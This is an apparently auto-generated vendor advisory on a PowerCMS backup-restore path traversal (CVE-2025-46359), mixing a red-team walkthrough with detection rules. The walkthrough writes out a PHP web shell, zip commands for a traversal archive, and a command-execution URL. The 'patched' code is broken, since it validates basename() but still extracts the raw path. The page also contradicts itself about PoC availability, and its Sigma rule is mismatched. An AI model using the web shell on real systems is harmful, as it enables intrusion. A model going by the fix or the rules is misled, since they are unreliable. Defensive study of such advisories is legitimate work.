CVE-2025-46359
Executive Summary
CVE-2025-46359 is a path traversal vulnerability in the backup and restore feature of multiple versions of PowerCMS. A product administrator can exploit this flaw by restoring a crafted backup file, leading to arbitrary code execution. The vulnerability has a CVSS score of 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept or patch details are currently available, and the EPSS score is 0.0%, suggesting low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
PowerCMS is a proprietary content management system. No open-source package registries (NPM, PyPI, Go, Ruby) are involved. The vulnerability is inherent to the product's backup/restore functionality.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: High (PR:H) – The attacker must be a product administrator.
- User Interaction: None (UI:N) – No user action is needed beyond the administrator restoring the backup.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full system compromise possible.
- Integrity Impact: High (I:H) – Arbitrary code execution allows modification of system files.
- Availability Impact: High (A:H) – Potential for denial of service or system takeover.
Deep Dive & Mechanics
The vulnerability resides in the backup and restore functionality of PowerCMS. When an administrator restores a backup file, the application fails to properly sanitize file paths within the backup archive. An attacker with administrative privileges can craft a malicious backup file containing path traversal sequences (e.g., ../) to write files outside the intended restore directory. This allows the attacker to overwrite critical system files or place executable code in web-accessible directories, leading to arbitrary code execution.
The root cause is insufficient validation of file paths during the extraction process. The application likely uses a function like extract() or unzip() without checking for directory traversal patterns. The attacker can embed a file with a path like ../../../../var/www/html/shell.php in the backup archive, which, when restored, writes a web shell to the web root.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described hypothetically.
Vulnerable Code (PHP-like pseudocode):
function restore_backup($backup_file) {
$zip = new ZipArchive();
$zip->open($backup_file);
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// No path traversal check
$zip->extractTo('/var/www/powercms/restore/', $filename);
}
$zip->close();
}
Patched Code (Hypothetical):
function restore_backup($backup_file) {
$zip = new ZipArchive();
$zip->open($backup_file);
$restore_dir = '/var/www/powercms/restore/';
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// Sanitize path
$safe_path = realpath($restore_dir . '/' . basename($filename));
if (strpos($safe_path, $restore_dir) !== 0) {
throw new Exception("Invalid path");
}
$zip->extractTo($restore_dir, $filename);
}
$zip->close();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Administrative access to PowerCMS.
- Ability to upload and restore a backup file.
Steps:
- Create a malicious backup archive (e.g., ZIP) containing a file with a path traversal payload.
- Use a tool like
zipto craft the archive:
Note: The actual path depends on the web root. Adjust accordingly.mkdir exploit echo '<?php system($_GET["cmd"]); ?>' > exploit/shell.php cd exploit zip -r ../malicious_backup.zip ../../../../var/www/html/shell.php - Log in to PowerCMS as an administrator.
- Navigate to the backup/restore section and upload
malicious_backup.zip. - Initiate the restore process.
- Access the web shell via
http://target.com/shell.php?cmd=id.
Blue Team
Detection:
- Monitor backup file uploads for unusual file names or paths.
- Check for unexpected files in web-accessible directories after restore operations.
- Use file integrity monitoring (FIM) to detect changes to critical system files.
Prevention:
- Restrict administrative access to trusted users only.
- Implement strict input validation on backup file paths.
- Use a sandboxed environment for backup restoration.
Indicators of Compromise (IOCs)
- File Hashes: (None available; generate upon discovery)
- Network Traffic: Unusual HTTP requests to
/PowerCMS/admin/restoreor similar endpoints. - File System: Unexpected files in web root (e.g.,
shell.php,cmd.php). - Logs: PowerCMS audit logs showing restore operations with suspicious backup file names.
Detection Engineering
YARA Rule
rule CVE_2025_46359_PowerCMS_Path_Traversal {
meta:
description = "Detects path traversal patterns in PowerCMS backup files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46359"
strings:
$traversal1 = /\.\.\/\.\.\/\.\.\/\.\.\//
$traversal2 = /\.\.\\\.\.\\\.\.\\\.\.\\/
$php_shell = "<?php"
condition:
($traversal1 or $traversal2) and $php_shell
}
Sigma Rule
title: PowerCMS Backup Path Traversal
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects path traversal attempts in PowerCMS backup restore
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: powercms
detection:
selection:
EventID: 4688
CommandLine|contains: 'restore'
CommandLine|re: '\.\.\/'
condition: selection
falsepositives:
- Legitimate backup files with similar names
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-46359 PowerCMS Backup Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/PowerCMS/admin/restore"; http_uri; content:"filename"; pcre:"/\.\.\//"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Restrict administrative access to trusted users only. Monitor backup restore operations closely.
- Short-term: Implement input validation on backup file paths. Use a whitelist of allowed directories.
- Long-term: Apply vendor patch when available. Consider migrating to a supported CMS with active security updates.
- Workaround: Disable the backup/restore feature if not essential. Use external backup solutions with proper sanitization.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.